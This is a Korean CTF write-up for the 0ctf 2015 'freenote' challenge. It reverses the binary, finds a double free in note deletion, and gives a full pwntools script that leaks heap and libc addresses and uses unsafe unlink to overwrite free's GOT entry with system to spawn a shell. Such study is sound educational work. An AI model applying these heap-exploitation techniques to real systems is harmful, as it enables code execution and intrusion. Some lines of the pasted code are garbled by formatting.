System/0ctf 2015

[0ctf 2015] - freenote - 190619

WS-_K 2019. 6. 19. 18:53

1. Reversing

 

 

 

 군대라는 특성상 ida가 없어서 gdb-peda로 freenote를 리버싱을 진행했다.

 

해당 바이너리는 총 5가지 기능을 제공하는데

 

 1. List Note : 지금까지 만들어진 노트의 순서와 내용 출력 (입력값 X)

 

 2. New Note : 새로운 노트 생성 (length of note, contents of note)

 

 3. Edit Note : 기존의 노트의 내용 수정 (number of note, length of note, contents of note)

 

 4. Delete Note : 노트 삭제 (number of note)

 

 5. Exit : 바이너리 종료

 

이렇게 제공한다.

 

이번 문제에서 상당히 헷갈렸던 부분은 2번에서 malloc의 인자값을 설정할 때, 3번에서 realloc의 인자값을 설정할 때

 

일종의 루틴이 있었는데 (size를 구하는 알고리즘) 분석해보니 입력받은 length보다 크거나 같은 최소의 128의 배수로

 

설정하게 되어있었다.  이해가 되지 않는 부분들이 있었는데 해당 부분은 음수가 입력됬을 때를 대비해서

 

처리하는 것으로 결론이 났다.

 

(분명히 malloc의 size를 입력받아서 음수면 에러처리를 해주는 부분이 있음에도 불구하고...)

 

아무튼 그렇게 size를 구해서 malloc을 하게되면 시작하자마자 malloc(0x1810)을 만들어서 배열을 만들어주는데

 

(아마 구조체로 이루어져있는듯함) malloc(0x1810)으로 할당받은 곳을 heap_Array라고 명명하면 

 

heap_Array[0] = 0x100 (최대 노트의 개수)

 

heap_Array[1] = 0x0 (현재 노트의 개수)

 

이 뒤부턴 배열로써

 

heap_Array[2] = 0 or 1 (0이면 비활성화, 1이면 활성화)

 

heap_Array[3] = length of note

 

heap_Array[4] = contents of note's address

 

heap_Array[5] = 0 or 1

.

.

.

 

이런 식으로 note가 저장이 된다.

 

여기서 취약점은 4번 기능인 Delete Note를 할 때 해당 note가 free되어 있는 지를 검사하지 않는다는 점에서 발생한다.

 

한 마디로 Double Free가 가능해지는 것이다..! 해당 취약점을 가지고 exploit을 하는 것은 다음 문단에서 설명하겠다.

 

2. Exploit

 

 1. heapbase & libc leak

 

  4개 이상의 note 생성 → 붙어있지 않고 next chunk가 topchunk가 아닌 2개의 note 삭제 → 각 chunk에

 

 unsorted bin's linkedlist fd, bk 생성 → 다시 두개의 note 생성 → List Note 기능을 이용해 leak.

 

 2. realloc을 이용한 unlink unsafe

 

  먼저 realloc에 대한 내용은 https://umbum.tistory.com/396 를 참고하면 되겠다.

 

  realloc의 특성중 인자로 넘어온 size가 기존 chunk보다 클 때 next chunk가 free상태면 next chunk를 쪼개서 사용한다.

 

  (단, size가 너무 클 경우 ptr로 넘어온 chunk를 free 후 다른 chunk를 할당받는다.)

 

  특성을 이용하여 unlink unsafe를 사용했음.

 

  2-1. size 0x80, 0x100, 0x80를 malloc의 인자로 넘어가서 note를 생성하게끔 New Note의 length를 적절하게 준다.

  (방향표시로 first note, second note, third note는 리버싱 파트에서 말한 heap주소를 배열로 저장되어 있는 곳의 포인터를 표현한 거임)

 

  2-2. free(second note)

  2-3. realloc(first note, 0x180)이 되도록 Edit Note에서 적절히 length를 설정

 

  +++ 이 때 unsafe unlink를 위한 fake chunk를 두 개 만들어준다.

 

  first note의 header와 근접한 fake chunk는 fd, bk가 조작된 chunk로 만들어 주고

 

 또 하나의 fake chunk는 삭제된 second chunk와 동일하게 만들어준다.

(realloc에 size를 0x180으로 주었는데 왜 0x190이 아니라 0x1a0이 할당되었는 지에 대해 궁금증이 생길 수 있는데

 

next chunk의 크기가 0x110이었는데 0x100만큼 chunk를 잘라서 사용하면 나머지 0x10는 chunk의 최소단위에

 

못 미치기 때문에 realloc으로 할당할때 한꺼번에 할당되버린 것이다.

 

그래서 위의 이미지를 보면 맨 마지막 0x10은 length에 포함이 되지 않기 때문에 0으로 데이터가 저장된 것이다.)

 

  2-4. free(second note)

 

    1. first note를 가리키던 pointer value가 heapBase + 0x18로 바뀜.

 

    2. 값을 적절하게 넣고 pointer value에 적절한 함수의 got를 넣는다.

 

    (Edit Note에서 length의 값이 같으면 realloc을 하지않고 바로 값을 쓴다는 것을 이용한 것임)

 

    3. libc_leak을 이용하여 got에 적절한 함수 주소를 넣고 실행.

 

    4. exploit!

 

   

3. slv.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
from pwn import *
 
= process('./freenote')
= ELF('./freenote')
free_got = e.got['free']
 
def listNote():
    p.recv()
    p.sendline('1')
    
    return p.recvuntil('== 0ops Free Note ==\n')
    
def newNote(length, inputNote):
    p.recv()
    p.sendline('2')
        
    p.recvuntil('Length of new note: ')
    p.sendline(str(length))
    
    p.recvuntil('Enter your note: ')
    p.sendline(inputNote)
 
def editNote(noteNum, length, inputNote):
    p.recv()
    p.sendline('3')
 
    p.recvuntil('Note number: ')
    p.sendline(str(noteNum))
    
    p.recvuntil('Length of note: ')
    p.sendline(str(length))
 
    p.recvuntil('Enter your note: ')
    p.sendline(inputNote)
 
def deleteNote(noteNum):
    p.recv()
    p.sendline('4')
 
    p.recvuntil('Note number: ')
    p.sendline(str(noteNum))
 
def exit():
    p.recv()
    p.sendline('5')
 
def main():
    newNote(1,'a')
    newNote(0x100,'b'*0x100)
    newNote(1,'c')
    newNote(1,'d')
    newNote(1,'e')
    newNote(7,'/bin/sh')
    
    # for heap, libc leak
    deleteNote(2)
    deleteNote(4)
    
    newNote(8,'cccccccC')
    newNote(8,'eeeeeeeE')
    
    get_leak = listNote()
    heap_leak = u64(get_leak.split('C')[1][0:4+ '\x00\x00\x00\x00'- 0x1ae0
    libc_leak = u64(get_leak.split('E')[1][0:6+ '\x00\x00')
    
    log.info('libc_leak: ' + hex(libc_leak))
    log.info('heap_leak: ' + hex(heap_leak))
    
    system_Addr = libc_leak - 0x37c228    
 
 
    deleteNote(1)
    
    payload = ''
    payload += p64(0x0# fake chunk's prev_size 
    payload += p64(0x0# fake chunk's size
    payload += p64(heap_leak + 0x18# fake chunk's fd
    payload += p64(heap_leak + 0x20# fake chunk's bk
    payload += 'a'*6*8*2 # padding user data
    payload += p64(0x80# second fake chunk's prev_size
    payload += p64(0x110# second fake chunk's size
    payload += 'a'*(384-len(payload)) # padding user data
    
    editNote(0384, payload)
    
    deleteNote(1)
    
    payload = ''
    payload += p64(2# current_note number
    payload += p64(1# checking of note
    payload += p64(0x8# length of note
    payload += p64(free_got) # pointer to got
    payload += 'aaaaaaaa' # padding
    payload += 'aaaaaaaa' # padding
    payload += p64(heap_leak+0x1b80# '/bin/sh' pointer
    payload += 'a'*(384-len(payload)) # padding user data
 
    editNote(0384, payload) # Overwrite heap Array
    
    payload = ''
    payload += p64(system_Addr)
    
    editNote(08, payload) # Overwrite free got
    
    deleteNote(1# free('/bin/sh') -> system('/bin/sh')
    
    p.interactive()
 
if __name__ == '__main__':
    main()
 
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4f; text-decoration:none">Colored by Color Scripter
 

 

4. slv_onegadget.py

 

미완성. (완성 안할 예정..)

 

 

[깨달은 점]

 

 1. fake chunk를 free할 수 있다.

 

  fake chunk의 size를 잘 맞춰서 next chunk의 header에 맞고 prev_in_used flag가 켜져있다면 충분히 가능하다.

 

 (fake chunk를 free하기 위해서 next fake chunk를 만들어 위의 조건을 충족시켜도 가능함.)

 

 2. unlink unsafe 취약점은 chunk를 가리키는 pointer가 있으면 의심해볼만 하다.

 

  unlink unsafe는 다른 취약점에 비해서 조건이 까다롭지 않기 때문에 위와 같이 pointer가 주어진다면

 

 고려해볼만 하다. (heap overflow도 필요없음)

 

 3. One gadget을 이용해보자.

 

  아직 미완성임. 이용해보자. 얼른 ruby를 깔아보자!

 

+++++++++++++++++++++++++++++++++++

  2019.08.24 children_tcache 문제 푸는데 one gadget 이용했음~